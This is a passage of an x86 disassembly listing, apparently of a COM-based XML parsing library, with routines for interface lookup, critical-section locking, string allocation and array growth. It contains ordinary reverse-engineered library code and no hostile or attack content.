		call	sub_69B37577
		test	eax, eax
		jl	short loc_69B375F8


loc_69B375D5:				; CODE XREF: sub_69B375AE+17j
		test	ebp, ebp
		jbe	short loc_69B375E8
		push	esi
		mov	esi, [ebx+10h]
		push	edi
		mov	edi, [ebx+24h]
		mov	ecx, ebp
		rep movsw
		pop	edi
		pop	esi


loc_69B375E8:				; CODE XREF: sub_69B375AE+29j
		mov	eax, [ebx+24h]
		and	word ptr [eax+ebp*2], 0
		mov	eax, [ebx+24h]
		mov	[ebx+10h], eax


loc_69B375F6:				; CODE XREF: sub_69B375AE+Cj
		xor	eax, eax


loc_69B375F8:				; CODE XREF: sub_69B375AE+25j
		pop	ebp
		pop	ebx
		retn	4
sub_69B375AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B375FD	proc near		; DATA XREF: .text:off_69B276F8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B37618
		mov	eax, 80004005h
		jmp	locret_69B376A5
; ---------------------------------------------------------------------------


loc_69B37618:				; CODE XREF: sub_69B375FD+Fj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B37687
		mov	ecx, edx
		mov	edi, offset dword_69B376BC
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B37687
		mov	ecx, edx
		mov	edi, offset stru_69B25E84
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B37687
		mov	ecx, edx
		mov	edi, offset dword_69B376AC
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B37687
		mov	ecx, edx
		mov	edi, offset dword_69B25E74
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B37687
		mov	esi, eax
		mov	ecx, edx
		mov	edi, offset dword_69B376CC
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B37687
		mov	eax, [ebp+arg_8]
		and	[eax], ebx
		mov	esi, 80004002h
		jmp	short loc_69B37697
; ---------------------------------------------------------------------------


loc_69B37687:				; CODE XREF: sub_69B375FD+31j
					; sub_69B375FD+40j ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	esi, esi


loc_69B37697:				; CODE XREF: sub_69B375FD+88j
		push	[ebp+var_4]
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx

locret_69B376A5:			; CODE XREF: sub_69B375FD+16j
		leave
		retn	0Ch
sub_69B375FD	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B376AC	dd 50FB5B1Ah, 4FF4A75Ch, 0C614B286h, 0CCE28921h
					; DATA XREF: sub_69B375FD+53o
dword_69B376BC	dd 0D242361Dh, 11D251A0h, 6000AF9Ch, 393DECB0hdword_69B376CC	dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
; =============== S U B	R O U T	I N E =======================================



sub_69B376DC	proc near		; DATA XREF: .text:69B276FCo

arg_0		= dword	ptr  4

		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B376F0
		mov	eax, 80004005h
		jmp	short loc_69B37709
; ---------------------------------------------------------------------------


loc_69B376F0:				; CODE XREF: sub_69B376DC+Bj
		mov	ecx, [esp+4+arg_0]
		push	esi
		add	ecx, 4
		call	sub_69B18E54
		push	edi
		mov	esi, eax
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B37709:				; CODE XREF: sub_69B376DC+12j
		pop	edi
		retn	4
sub_69B376DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3770D	proc near		; DATA XREF: .text:69B27700o

arg_0		= dword	ptr  4

		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B37721
		mov	eax, 80004005h
		jmp	short loc_69B3773A
; ---------------------------------------------------------------------------


loc_69B37721:				; CODE XREF: sub_69B3770D+Bj
		mov	ecx, [esp+4+arg_0]
		push	esi
		add	ecx, 4
		call	sub_69B19038
		push	edi
		mov	esi, eax
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3773A:				; CODE XREF: sub_69B3770D+12j
		pop	edi
		retn	4
sub_69B3770D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3773E	proc near		; DATA XREF: .text:69B2774Co

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B37758
		mov	eax, 80004005h
		jmp	short loc_69B377A5
; ---------------------------------------------------------------------------


loc_69B37758:				; CODE XREF: sub_69B3773E+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_C]
		push	ebx
		call	sub_69B1A8C7
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, [esi+14h]
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B35A2B
		push	edi		; lpCriticalSection
		mov	esi, eax
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B377A5:				; CODE XREF: sub_69B3773E+18j
		pop	ebx
		leave
		retn	0Ch
sub_69B3773E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B377AA	proc near		; DATA XREF: .text:69B27750o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B377BE
		mov	eax, 80004005h
		jmp	short loc_69B377F0
; ---------------------------------------------------------------------------


loc_69B377BE:				; CODE XREF: sub_69B377AA+Bj
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esp+0Ch+arg_4]
		push	edi		; lpCriticalSection
		mov	[esi+18h], eax
		mov	[esi+88h], eax
		call	ds:LeaveCriticalSection
		push	ebx
		call	dword_69B92944
		pop	edi
		xor	eax, eax
		pop	esi


loc_69B377F0:				; CODE XREF: sub_69B377AA+12j
		pop	ebx
		retn	8
sub_69B377AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B377F4	proc near		; DATA XREF: .text:69B27754o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B37808
		mov	eax, 80004005h
		jmp	short loc_69B37843
; ---------------------------------------------------------------------------


loc_69B37808:				; CODE XREF: sub_69B377F4+Bj
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jnz	short loc_69B3782A
		mov	esi, 80070057h
		jmp	short loc_69B37831
; ---------------------------------------------------------------------------


loc_69B3782A:				; CODE XREF: sub_69B377F4+2Dj
		mov	ecx, [esi+18h]
		mov	[eax], ecx
		xor	esi, esi


loc_69B37831:				; CODE XREF: sub_69B377F4+34j
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B37843:				; CODE XREF: sub_69B377F4+12j
		pop	ebx
		retn	8
sub_69B377F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37847	proc near		; DATA XREF: .text:69B27708o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_69B37856
		mov	eax, 80070057h
		jmp	short locret_69B37873
; ---------------------------------------------------------------------------


loc_69B37856:				; CODE XREF: sub_69B37847+6j
		mov	eax, [esp+arg_0]
		mov	eax, [eax+8Ch]
		test	eax, eax
		jz	short loc_69B3786E
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B37871
; ---------------------------------------------------------------------------


loc_69B3786E:				; CODE XREF: sub_69B37847+1Bj
		and	dword ptr [ecx], 0


loc_69B37871:				; CODE XREF: sub_69B37847+25j
		xor	eax, eax

locret_69B37873:			; CODE XREF: sub_69B37847+Dj
		retn	8
sub_69B37847	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37876	proc near		; DATA XREF: .text:69B2775Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		xor	eax, eax
		cmp	[esi+1Ch], eax
		jz	short loc_69B37894
		push	3
		jmp	short loc_69B378BB
; ---------------------------------------------------------------------------


loc_69B37894:				; CODE XREF: sub_69B37876+18j
		cmp	[esi+26h], al
		jz	short loc_69B3789D
		push	4
		jmp	short loc_69B378BB
; ---------------------------------------------------------------------------


loc_69B3789D:				; CODE XREF: sub_69B37876+21j
		cmp	[esi+25h], al
		jz	short loc_69B378A6
		push	5
		jmp	short loc_69B378BB
; ---------------------------------------------------------------------------


loc_69B378A6:				; CODE XREF: sub_69B37876+2Aj
		cmp	[esi+27h], al
		jnz	short loc_69B378AF
		xor	esi, esi
		jmp	short loc_69B378BC
; ---------------------------------------------------------------------------


loc_69B378AF:				; CODE XREF: sub_69B37876+33j
		cmp	[esi+24h], al
		jz	short loc_69B378B9
		xor	esi, esi
		inc	esi
		jmp	short loc_69B378BC
; ---------------------------------------------------------------------------


loc_69B378B9:				; CODE XREF: sub_69B37876+3Cj
		push	2


loc_69B378BB:				; CODE XREF: sub_69B37876+1Cj
					; sub_69B37876+25j ...
		pop	esi


loc_69B378BC:				; CODE XREF: sub_69B37876+37j
					; sub_69B37876+41j
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B37876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B378CA(int, OLECHAR *)

sub_69B378CA	proc near		; DATA XREF: .text:69B2770Co

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B378E4
		mov	eax, 80004005h
		jmp	short locret_69B37963
; ---------------------------------------------------------------------------


loc_69B378E4:				; CODE XREF: sub_69B378CA+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_10]
		push	eax
		call	sub_69B1A8C7
		lea	ebx, [esi+90h]
		push	ebx		; lpCriticalSection
		mov	byte ptr [esi+26h], 1
		mov	byte ptr [esi+25h], 1
		call	ds:EnterCriticalSection
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_69B3791C
		push	eax		; BSTR
		call	SysFreeString


loc_69B3791C:				; CODE XREF: sub_69B378CA+49j
		push	[ebp+arg_4]	; OLECHAR *
		call	SysAllocString
		mov	edi, [esi+50h]
		mov	[esi+20h], eax
		jmp	short loc_69B37943
; ---------------------------------------------------------------------------


loc_69B3792D:				; CODE XREF: sub_69B378CA+7Aj
		mov	eax, [esi+48h]
		mov	ecx, [esi+4Ch]
		imul	eax, edi
		mov	ecx, [eax+ecx+4]
		test	ecx, ecx
		jz	short loc_69B37943
		call	sub_69B3A189


loc_69B37943:				; CODE XREF: sub_69B378CA+61j
					; sub_69B378CA+72j
		dec	edi
		jns	short loc_69B3792D
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_69B37963:			; CODE XREF: sub_69B378CA+18j
		leave
		retn	8
sub_69B378CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37967	proc near		; DATA XREF: .text:69B27710o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B3798A
		call	sub_69B3219C
		mov	esi, eax
		jmp	short loc_69B3798C
; ---------------------------------------------------------------------------


loc_69B3798A:				; CODE XREF: sub_69B37967+18j
		xor	esi, esi


loc_69B3798C:				; CODE XREF: sub_69B37967+21j
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B37967	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3799A	proc near		; DATA XREF: .text:69B27714o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B379BD
		call	sub_69B321AF
		mov	esi, eax
		jmp	short loc_69B379BF
; ---------------------------------------------------------------------------


loc_69B379BD:				; CODE XREF: sub_69B3799A+18j
		xor	esi, esi


loc_69B379BF:				; CODE XREF: sub_69B3799A+21j
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3799A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B379CD	proc near		; DATA XREF: .text:69B27718o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B379F0
		call	sub_69B321C2
		mov	esi, eax
		jmp	short loc_69B379F2
; ---------------------------------------------------------------------------


loc_69B379F0:				; CODE XREF: sub_69B379CD+18j
		xor	esi, esi


loc_69B379F2:				; CODE XREF: sub_69B379CD+21j
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B379CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37A00	proc near		; DATA XREF: .text:69B2771Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jz	short loc_69B37A6D
		cmp	[ebp+arg_C], 0
		jz	short loc_69B37A6D
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+arg_8], eax
		jnz	short loc_69B37A25
		mov	eax, 80004005h
		jmp	short loc_69B37A72
; ---------------------------------------------------------------------------


loc_69B37A25:				; CODE XREF: sub_69B37A00+1Cj
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, [esi+14h]
		xor	esi, esi
		cmp	ecx, esi
		jz	short loc_69B37A50
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		call	sub_69B321D5
		mov	esi, eax
		jmp	short loc_69B37A57
; ---------------------------------------------------------------------------


loc_69B37A50:				; CODE XREF: sub_69B37A00+3Ej
		mov	eax, [ebp+arg_4]
		mov	[eax], esi
		mov	[ebx], esi


loc_69B37A57:				; CODE XREF: sub_69B37A00+4Ej
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	[ebp+arg_8]
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi
		jmp	short loc_69B37A72
; ---------------------------------------------------------------------------


loc_69B37A6D:				; CODE XREF: sub_69B37A00+9j
					; sub_69B37A00+Fj
		mov	eax, 80070057h


loc_69B37A72:				; CODE XREF: sub_69B37A00+23j
					; sub_69B37A00+6Bj
		pop	ebx
		pop	ebp
		retn	10h
sub_69B37A00	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37A77	proc near		; DATA XREF: .text:69B2772Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		test	edx, edx
		jnz	short loc_69B37A86
		mov	eax, 80070057h
		jmp	short locret_69B37AB9
; ---------------------------------------------------------------------------


loc_69B37A86:				; CODE XREF: sub_69B37A77+6j
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0B0h]
		test	ecx, ecx
		jz	short loc_69B37A98
		mov	[edx], ecx
		jmp	short loc_69B37AB7
; ---------------------------------------------------------------------------


loc_69B37A98:				; CODE XREF: sub_69B37A77+1Bj
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_69B37AB4
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_69B37AB4
		mov	eax, [eax+28h]
		test	eax, eax
		jz	short loc_69B37AB4
		mov	eax, [eax+8]
		mov	[edx], eax
		jmp	short loc_69B37AB7
; ---------------------------------------------------------------------------


loc_69B37AB4:				; CODE XREF: sub_69B37A77+26j
					; sub_69B37A77+2Dj ...
		and	dword ptr [edx], 0


loc_69B37AB7:				; CODE XREF: sub_69B37A77+1Fj
					; sub_69B37A77+3Bj
		xor	eax, eax

locret_69B37AB9:			; CODE XREF: sub_69B37A77+Dj
		retn	8
sub_69B37A77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37ABC	proc near		; CODE XREF: sub_69B380C2+7p
					; sub_69B380EB+7p ...

arg_0		= dword	ptr  4

		mov	edx, [ecx+50h]
		dec	edx
		push	esi
		push	edi
		js	short loc_69B37ADD
		mov	esi, [ecx+48h]
		mov	ecx, [ecx+4Ch]


loc_69B37ACA:				; CODE XREF: sub_69B37ABC+1Fj
		mov	eax, esi
		imul	eax, edx
		add	eax, ecx
		mov	edi, [eax+4]
		cmp	edi, [esp+8+arg_0]
		jz	short loc_69B37ADF
		dec	edx
		jns	short loc_69B37ACA


loc_69B37ADD:				; CODE XREF: sub_69B37ABC+6j
		xor	eax, eax


loc_69B37ADF:				; CODE XREF: sub_69B37ABC+1Cj
		pop	edi
		pop	esi
		retn	4
sub_69B37ABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37AE4	proc near		; CODE XREF: sub_69B37B4D+44p
					; sub_69B37C12+E5p ...
		push	esi
		push	edi
		mov	esi, ecx
		mov	di, [esi+84h]
		add	di, 0Ah
		cmp	di, 0Ah
		jnb	short loc_69B37B00
		mov	eax, 80004005h
		jmp	short loc_69B37B4A
; ---------------------------------------------------------------------------


loc_69B37B00:				; CODE XREF: sub_69B37AE4+13j
		movzx	eax, di
		push	ebp
		shl	eax, 2
		push	eax
		call	sub_69B11E44
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_69B37B1A
		mov	eax, 8007000Eh
		jmp	short loc_69B37B49
; ---------------------------------------------------------------------------


loc_69B37B1A:				; CODE XREF: sub_69B37AE4+2Dj
		mov	eax, [esi+68h]
		jmp	short loc_69B37B2C
; ---------------------------------------------------------------------------


loc_69B37B1F:				; CODE XREF: sub_69B37AE4+49j
		mov	ecx, [esi+60h]
		imul	ecx, eax
		add	ecx, [esi+64h]
		mov	[ebp+eax*4+0], ecx


loc_69B37B2C:				; CODE XREF: sub_69B37AE4+39j
		dec	eax
		jns	short loc_69B37B1F
		push	ebx
		lea	ebx, [esi+80h]
		push	dword ptr [ebx]
		call	sub_69B1B2B7
		mov	[ebx], ebp
		mov	[esi+84h], di
		xor	eax, eax
		pop	ebx


loc_69B37B49:				; CODE XREF: sub_69B37AE4+34j
		pop	ebp


loc_69B37B4A:				; CODE XREF: sub_69B37AE4+1Aj
		pop	edi
		pop	esi
		retn
sub_69B37AE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37B4D	proc near		; CODE XREF: sub_69B38A09:loc_69B38CBBp
					; sub_69B38A09+37Dp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+68h]
		lea	ecx, [ebx+60h]
		mov	[ebx+74h], eax
		call	sub_69B318FB
		test	eax, eax
		mov	[ebx+78h], eax
		jnz	short loc_69B37B6F
		mov	eax, 8007000Eh
		jmp	loc_69B37C0E
; ---------------------------------------------------------------------------


loc_69B37B6F:				; CODE XREF: sub_69B37B4D+16j
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		push	9
		mov	edi, eax
		pop	ecx
		mov	esi, ebp
		rep movsd
		mov	ax, [ebx+84h]
		cmp	ax, [ebx+86h]
		jnz	short loc_69B37B9A
		mov	ecx, ebx
		call	sub_69B37AE4
		test	eax, eax
		jl	short loc_69B37C0B


loc_69B37B9A:				; CODE XREF: sub_69B37B4D+40j
		movzx	eax, word ptr [ebx+86h]
		mov	ecx, [ebx+80h]
		mov	edx, [ebx+78h]
		mov	[ecx+eax*4], edx
		inc	word ptr [ebx+86h]
		mov	ecx, [ebx+78h]
		mov	byte ptr [ebx+3Dh], 0
		mov	eax, [ebp+14h]
		lea	edx, [eax+1]
		cmp	[ecx+28h], edx
		jnb	short loc_69B37BD6
		add	eax, 32h
		push	eax
		push	ecx
		mov	ecx, ebx
		call	sub_69B37577
		test	eax, eax
		jl	short loc_69B37C0B


loc_69B37BD6:				; CODE XREF: sub_69B37B4D+77j
		mov	eax, [ebx+78h]
		mov	edi, [eax+24h]
		mov	ecx, [ebp+14h]
		mov	esi, [ebp+10h]
		shl	ecx, 1
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+78h]
		mov	eax, [eax+24h]
		mov	ecx, [ebp+14h]
		and	word ptr [eax+ecx*2], 0
		mov	ebx, [ebx+78h]
		mov	eax, [ebx+24h]
		mov	[ebx+10h], eax
		xor	eax, eax


loc_69B37C0B:				; CODE XREF: sub_69B37B4D+4Bj
					; sub_69B37B4D+87j
		pop	edi
		pop	esi
		pop	ebp


loc_69B37C0E:				; CODE XREF: sub_69B37B4D+1Dj
		pop	ebx
		retn	4
sub_69B37B4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37C12	proc near		; CODE XREF: sub_69B38A09+29Bp
					; sub_69B38A09+579p

lpStr1		= dword	ptr -0Ch
lpStr2		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+8]
		test	eax, eax
		mov	ebx, ecx
		jz	short loc_69B37C2B
		cmp	eax, 1Fh
		jnz	short loc_69B37C49


loc_69B37C2B:				; CODE XREF: sub_69B37C12+12j
		mov	eax, [ebx+0C0h]
		test	eax, eax
		jl	short loc_69B37C49
		movzx	ecx, word ptr [ebx+7Ch]
		shr	ecx, 1
		cmp	ecx, eax
		jl	short loc_69B37C49
		mov	eax, 80004004h
		jmp	loc_69B37D1D
; ---------------------------------------------------------------------------


loc_69B37C49:				; CODE XREF: sub_69B37C12+17j
					; sub_69B37C12+21j ...
		cmp	word ptr [ebx+7Ch], 0
		push	edi
		jz	short loc_69B37CC1
		mov	ecx, [ebx+68h]
		dec	ecx
		cmp	ecx, [ebx+74h]
		mov	[ebp+var_4], ecx
		jle	short loc_69B37CC1
		jmp	short loc_69B37C62
; ---------------------------------------------------------------------------


loc_69B37C5F:				; CODE XREF: sub_69B37C12+9Ej
		mov	esi, [ebp+arg_0]


loc_69B37C62:				; CODE XREF: sub_69B37C12+4Bj
		mov	eax, [ebx+60h]
		imul	eax, ecx
		add	eax, [ebx+64h]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_69B37CA9
		mov	edx, [esi+14h]
		cmp	[eax+14h], edx
		jnz	short loc_69B37CA9
		mov	eax, [eax+10h]
		mov	edi, [esi+10h]
		mov	esi, eax
		mov	[ebp+lpStr1], eax
		lea	ecx, [edx+edx]
		xor	eax, eax
		mov	[ebp+lpStr2], edi
		repe cmpsb
		jnz	short loc_69B37CA6
		cmp	[ebx+2Ch], al
		jz	short loc_69B37CB4
		push	edx		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	[ebp+lpStr1]	; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jz	short loc_69B37CBB


loc_69B37CA6:				; CODE XREF: sub_69B37C12+7Cj
		mov	ecx, [ebp+var_4]


loc_69B37CA9:				; CODE XREF: sub_69B37C12+5Dj
					; sub_69B37C12+65j
		dec	ecx
		cmp	ecx, [ebx+74h]
		mov	[ebp+var_4], ecx
		jg	short loc_69B37C5F
		jmp	short loc_69B37CC1
; ---------------------------------------------------------------------------


loc_69B37CB4:				; CODE XREF: sub_69B37C12+81j
					; sub_69B37C12+ADj
		mov	eax, 0C00CE554h
		jmp	short loc_69B37D1C
; ---------------------------------------------------------------------------


loc_69B37CBB:				; CODE XREF: sub_69B37C12+92j
		cmp	byte ptr [ebx+41h], 0
		jz	short loc_69B37CB4


loc_69B37CC1:				; CODE XREF: sub_69B37C12+3Dj
					; sub_69B37C12+49j ...
		inc	word ptr [ebx+7Ch]
		lea	ecx, [ebx+60h]
		call	sub_69B318FB
		test	eax, eax
		mov	[ebx+78h], eax
		jnz	short loc_69B37CDB
		mov	eax, 8007000Eh
		jmp	short loc_69B37D1C
; ---------------------------------------------------------------------------


loc_69B37CDB:				; CODE XREF: sub_69B37C12+C0j
		mov	esi, [ebp+arg_0]
		push	9
		mov	edi, eax
		pop	ecx
		rep movsd
		mov	ax, [ebx+84h]
		cmp	ax, [ebx+86h]
		jnz	short loc_69B37D00
		mov	ecx, ebx
		call	sub_69B37AE4
		test	eax, eax
		jl	short loc_69B37D1C


loc_69B37D00:				; CODE XREF: sub_69B37C12+E1j
		movzx	eax, word ptr [ebx+86h]
		mov	ecx, [ebx+80h]
		mov	edx, [ebx+78h]
		mov	[ecx+eax*4], edx
		inc	word ptr [ebx+86h]
		xor	eax, eax


loc_69B37D1C:				; CODE XREF: sub_69B37C12+A7j
					; sub_69B37C12+C7j ...
		pop	edi


loc_69B37D1D:				; CODE XREF: sub_69B37C12+32j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B37C12	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37D23	proc near		; CODE XREF: sub_69B38A09+418p
					; sub_69B38A09+44Fp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		lea	ecx, [ebx+60h]
		call	sub_69B318FB
		test	eax, eax
		mov	[ebx+78h], eax
		jnz	short loc_69B37D3C
		mov	eax, 8007000Eh
		jmp	short loc_69B37D91
; ---------------------------------------------------------------------------


loc_69B37D3C:				; CODE XREF: sub_69B37D23+10j
		mov	eax, [ebx+14h]
		movzx	eax, word ptr [eax+56h]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	[esi+20h], eax
		mov	edi, [ebx+78h]
		push	9
		pop	ecx
		rep movsd
		mov	ax, [ebx+84h]
		cmp	ax, [ebx+86h]
		pop	edi
		pop	esi
		jnz	short loc_69B37D71
		mov	ecx, ebx
		call	sub_69B37AE4
		test	eax, eax
		jl	short loc_69B37D91


loc_69B37D71:				; CODE XREF: sub_69B37D23+41j
		movzx	eax, word ptr [ebx+86h]
		mov	ecx, [ebx+80h]
		mov	edx, [ebx+78h]
		mov	[ecx+eax*4], edx
		inc	word ptr [ebx+86h]
		inc	word ptr [ebx+7Ch]
		xor	eax, eax


loc_69B37D91:				; CODE XREF: sub_69B37D23+17j
					; sub_69B37D23+4Cj
		pop	ebx
		retn	4
sub_69B37D23	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37D95	proc near		; CODE XREF: sub_69B38A09+356p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		lea	ecx, [ebx+60h]
		call	sub_69B318FB
		test	eax, eax
		mov	[ebx+78h], eax
		jnz	short loc_69B37DAE
		mov	eax, 8007000Eh
		jmp	short loc_69B37DF8
; ---------------------------------------------------------------------------


loc_69B37DAE:				; CODE XREF: sub_69B37D95+10j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	9
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	ax, [ebx+84h]
		cmp	ax, [ebx+86h]
		pop	edi
		pop	esi
		jnz	short loc_69B37DD8
		mov	ecx, ebx
		call	sub_69B37AE4
		test	eax, eax
		jl	short loc_69B37DF8


loc_69B37DD8:				; CODE XREF: sub_69B37D95+36j
		movzx	eax, word ptr [ebx+86h]
		mov	ecx, [ebx+80h]
		mov	edx, [ebx+78h]
		mov	[ecx+eax*4], edx
		inc	word ptr [ebx+86h]
		mov	byte ptr [ebx+3Bh], 1
		xor	eax, eax


loc_69B37DF8:				; CODE XREF: sub_69B37D95+17j
					; sub_69B37D95+41j
		pop	ebx
		retn	4
sub_69B37D95	endp


; =============== S U B	R O U T	I N E =======================================



